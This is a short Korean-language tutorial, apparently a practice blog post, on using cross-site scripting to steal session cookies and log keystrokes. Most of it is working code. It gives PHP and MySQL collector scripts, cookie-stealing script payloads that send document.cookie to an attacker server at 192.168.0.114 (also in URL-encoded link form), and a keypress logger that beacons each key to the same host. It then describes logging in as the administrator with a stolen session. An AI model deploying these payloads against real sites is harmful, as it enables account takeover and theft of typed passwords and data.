XSS 공격 - 세션 값 , 키 로깅

# 세션 값 받을 데이터 베이스 생성
CREATE database xss_attack;
USE xss_attack;
CREATE table session_list(
	date date,
    ip varchar(15),
    session varchar(50)
    );

# 세션 값 리스트 생성
<?php
    $db_conn = new mysqli("127.0.0.1","root","apmsetup","xss_attack");

    $session = $_GET["data"];
    $remote_ip = $_SERVER["REMOTE_ADDR"];

    if(!empty($session)){
        $query = "insert into session_list values(now(), '{$remote_ip}', '$session')";
        $db_conn->query($query);
    }
?>

 

세션 리스트가 쌓이는것 확인

 

XSS 공격 시행

# ip부분에 자신의 ip 입력
<script>location.href="http://192.168.0.114/session.php?data="+document.cookie</script>

받아오게된 세션 값 확인

세션 값 붙여 넣기 후 새로고침

관리자 아이디로 로그인 완료

<a href="http://192.168.0.114/xssboard/index.php?page=error&value=<script>new Image().src="http://192.168.0.114/session.php?data="+document.cookie</script>>바로가기<a>

<script>new+Image().src%3d"http%3a//192.168.0.114/session.php%3fdata%3d"%2bdocument.cookie</script>

<a href="http://192.168.0.114/xssboard/index.php?page=error&value=<script>new+Image().src%3d"http%3a//192.168.0.114/session.php%3fdata%3d"%2bdocument.cookie</script>>바로가기<a>

---

 

key Logging
누르는 key들을 데이터베이스로 받아온다

 

# keylogging
CREATE table key_logging(
	date date,
    ip varchar(15),
    data text);

# key logging 실행 구문
<?php
    $db_conn=new mysqli("127.0.0.1", "root", "apmsetup", "xss_attack");
    $key = $db_conn->real_escape_string($_GET["data"]);
    $remote_ip = $_SERVER["REMOTE_ADDR"];

    if(!empty($key)){
        $query = " SELECT * FROM key_logging where ip='{$remote_ip}'";

        $tmp = $db_conn->query($query);
        $cnt = $tmp->num_rows;

        if($cnt==0){
            $query="INSERT INTO key_logging VALUES(now(),'{$remote_ip}','{$key}')";

        }else{
            $query = "UPDATE key_logging SET data=concat(data,'{$key}') WHERE ip='{$remote_ip}'";
        }
        $db_conn->query($query);
    }
    $db_conn -> close();
?>

 

<script>document.onkeypress=function(a){
	alert(a.key); 
    key=encodeURI(a.key); 
    if(key=="Enter"){
    key="(E)";
    } 
    new Image().src="http://192.168.0.114/keylogging.php?data="+key;
    }
</script>


<script>document.onkeypress=function(a){alert(a.key); key=encodeURI(a.key); if(key=="Enter"){key="(E)";}new Image().src="http://192.168.0.114/keylogging.php?data="+key;}</script>

 

key logging 게시물에 들어갔을 때

뜸

누른 key data들이 나온다.